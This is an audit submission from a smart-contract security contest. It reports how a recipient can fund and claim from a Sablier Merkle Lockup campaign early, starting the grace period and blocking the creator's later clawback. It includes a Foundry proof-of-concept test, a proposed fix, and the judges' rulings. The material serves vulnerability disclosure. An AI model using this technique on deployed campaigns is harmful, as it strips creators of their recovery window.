Sablier

Sablier
DeFiFoundry
53,440 USDC
View results
Submission Details
Severity: low
Valid

Early Initiation of Grace Period Prevents Creator's Ability to Withdraw Funds via Clawback

Summary

This issue arises when a campaign creator chooses to deploy the campaign first and fund it later. If a malicious recipient funds the Merkle Lockup contract immediately after deployment and triggers the claim() function, the grace period starts prematurely by setting the _firstClaimTime to the current block.timestamp. Consequently, the creator risks missing the window to call the clawback function. In the scenario where the creator funds the campaign after the grace period ends and then realizes there's a malicious value in the merkle tree, they won't be able to call the clawback function, leaving the funds exposed to risk if a malicious Merkle tree is detected.

Vulnerability Details

After the creator deploys a campaign, a grace period begins after the first claim. This is done by setting _firstClaimTime to uint40(block.timestamp)Link to code.

During the grace period, which lasts for 7 days, the creator can withdraw the funds by calling clawback() in case of a malicious Merkle tree:

In case of a malicious Merkle tree, clawback can be called to withdraw funds from the deployed MerkleLockup contracts until the grace period ends

Also according to the protocols documentations creators are able to deploy the campaign and fund it later:

Additionally, you don't have to immediately fund the Airstream contract. You can just create the contract and at a later date fund it with the airdropped tokens.

The problem arises when a creator deploys a campaign and plans to fund it later. A malicious recipient can exploit this by funding the Merkle lockup contract right after deployment and calling claim(), which will prematurely start the grace period by setting _firstClaimTime to the current block.timestamp. This premature initiation of the grace period disrupts the intended sequence.
If the creator funds the campaign after the grace period ends and realizes there's a malicious value in the Merkle tree, they won't be able to call the clawback function, leaving the funds exposed to risk if a malicious Merkle tree is detected.

Example Scenario

  • Alice (the creator) deploys a campaign but plans to fund it later.

  • Bob (a malicious recipient) funds the campaign right after deployment and calls claim() with his actual parameters (index, recipient, amount, and merkleProof).

  • Bob's claim will start the grace period.

  • A few days later (let's say 8 days), Alice funds the campaign but then realizes there's a malicious value in the Merkle tree, so she attempts to withdraw the funds by calling clawback(). However, her transaction reverts because the grace period has ended.

Coded PoC

To test the scenario please make a file named Ninja.t.sol in this path: /v2-periphery/test/integration/merkle-lockup/ and paste the following test code in it:

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22;
import { ISablierV2MerkleLT } from "src/interfaces/ISablierV2MerkleLT.sol";
import { Errors } from "src/libraries/Errors.sol";
import { Integration_Test } from "../Integration.t.sol";
contract Ninja is Integration_Test {
function setUp() public virtual override {
Integration_Test.setUp();
deal({ token: address(dai), to: users.recipient1, give: defaults.CLAIM_AMOUNT() });
}
function test_clawbackFailedAfterEarlyClaim() external {
// Admin creates the campaign (Deploying the merkleLT)
merkleLT = createMerkleLT();
// merkleLT isn't funded yet
assert(dai.balanceOf(address(merkleLT)) == 0);
// Bob immediately funds the Merkle Lockup equal to his claim amount and then calls the claim()
// Grace period starts from now
vm.startPrank(users.recipient1);
dai.transfer(address(merkleLT), defaults.CLAIM_AMOUNT());
claimLT();
vm.stopPrank();
// 8 days later the Admin funds the merkleLT to airdrop the tokens
vm.warp({ newTimestamp: block.timestamp + 10 days });
vm.prank(users.admin);
deal({ token: address(dai), to: address(merkleLT), give: defaults.AGGREGATE_AMOUNT() });
// Admin realizes the merkle tree is incorrect/malicious and calls the clawback() to retrieve the funds
// but the transaction reverts because the grace period has ended
uint128 clawbackAmount = uint128(dai.balanceOf(address(merkleLT)));
vm.expectRevert(
abi.encodeWithSelector(
Errors.SablierV2MerkleLockup_ClawbackNotAllowed.selector,
block.timestamp,
defaults.EXPIRATION(),
defaults.FIRST_CLAIM_TIME()
)
);
vm.prank(users.admin);
merkleLT.clawback({ to: users.admin, amount: clawbackAmount });
}
////////////////////////////////////////////////////////////////
//////////////////// INTERNAL FUNCTIONS //////////////////////
////////////////////////////////////////////////////////////////
function createMerkleLT() internal returns (ISablierV2MerkleLT) {
return createMerkleLT(users.admin, defaults.EXPIRATION());
}
function createMerkleLT(address admin, uint40 expiration) internal returns (ISablierV2MerkleLT) {
// Increment the CREATE nonce for factory contract.
++merkleLockupFactoryNonce;
return merkleLockupFactory.createMerkleLT({
baseParams: defaults.baseParams(admin, dai, expiration, defaults.MERKLE_ROOT()),
lockupTranched: lockupTranched,
tranchesWithPercentages: defaults.tranchesWithPercentages(),
aggregateAmount: defaults.AGGREGATE_AMOUNT(),
recipientCount: defaults.RECIPIENT_COUNT()
});
}
function claimLT() internal returns (uint256) {
return merkleLT.claim({
index: defaults.INDEX1(),
recipient: users.recipient1,
amount: defaults.CLAIM_AMOUNT(),
merkleProof: defaults.index1Proof()
});
}
}

Run the test:

forge test --match-test test_clawbackFailedAfterEarlyClaim

Impact

The premature initiation of the grace period allows malicious users to exploit the system, leaving creators unable to withdraw funds during the intended window. Consequently, if a malicious Merkle tree is detected after the grace period, the creator loses the ability to claw back funds, leaving them exposed to potential losses.

Tools Used

VSCode
Foundry

Recommendations

One possible solution is to define a funding function to fund the campaign and a modifier to check whether the campaign is funded by the admin or not. In this case, if anyone other than the admin directly funds the campaign, they would simply lose their money because isFunded would not be true.

SablierV2MerkleLockup.sol

diff --git a/SablierV2MerkleLockup.sol.orig b/SablierV2MerkleLockup.sol
index cd5c178..de04894 100644
--- a/SablierV2MerkleLockup.sol.orig
+++ b/SablierV2MerkleLockup.sol
@@ -42,6 +42,8 @@ abstract contract SablierV2MerkleLockup is
/// @inheritdoc ISablierV2MerkleLockup
bool public immutable override TRANSFERABLE;
+ bool public isFunded;
+
/// @inheritdoc ISablierV2MerkleLockup
string public ipfsCID;
@@ -103,6 +105,18 @@ abstract contract SablierV2MerkleLockup is
USER-FACING NON-CONSTANT FUNCTIONS
//////////////////////////////////////////////////////////////////////////*/
+ modifier onlyFunded() {
+ if (!isFunded) {
+ revert("The campaign is not funded yet");
+ }
+ _;
+ }
+
+ function fund(uint256 amount) external onlyAdmin {
+ ASSET.safeTransferFrom(msg.sender, address(this), amount);
+ if (!isFunded) isFunded = true;
+ }
+
/// @inheritdoc ISablierV2MerkleLockup
function clawback(address to, uint128 amount) external override onlyAdmin {
// Check: current timestamp is over the grace period and the campaign has not expired.

SablierV2MerkleLT.sol

diff --git a/SablierV2MerkleLT.sol.orig b/SablierV2MerkleLT.sol
index 7d091f5..ae28403 100644
--- a/SablierV2MerkleLT.sol.orig
+++ b/SablierV2MerkleLT.sol
@@ -79,6 +79,7 @@ contract SablierV2MerkleLT is
)
external
override
+ onlyFunded
returns (uint256 streamId)
{
// Generate the Merkle tree leaf by hashing the corresponding parameters. Hashing twice prevents second
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Info/Gas/Invalid as per Docs

https://docs.codehawks.com/hawks-auditors/how-to-determine-a-finding-validity

Grace started early by donate + claim

yashar0x Submitter
about 1 year ago
0xnevi Judge
about 1 year ago
yashar0x Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Grace started early by donate + claim

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.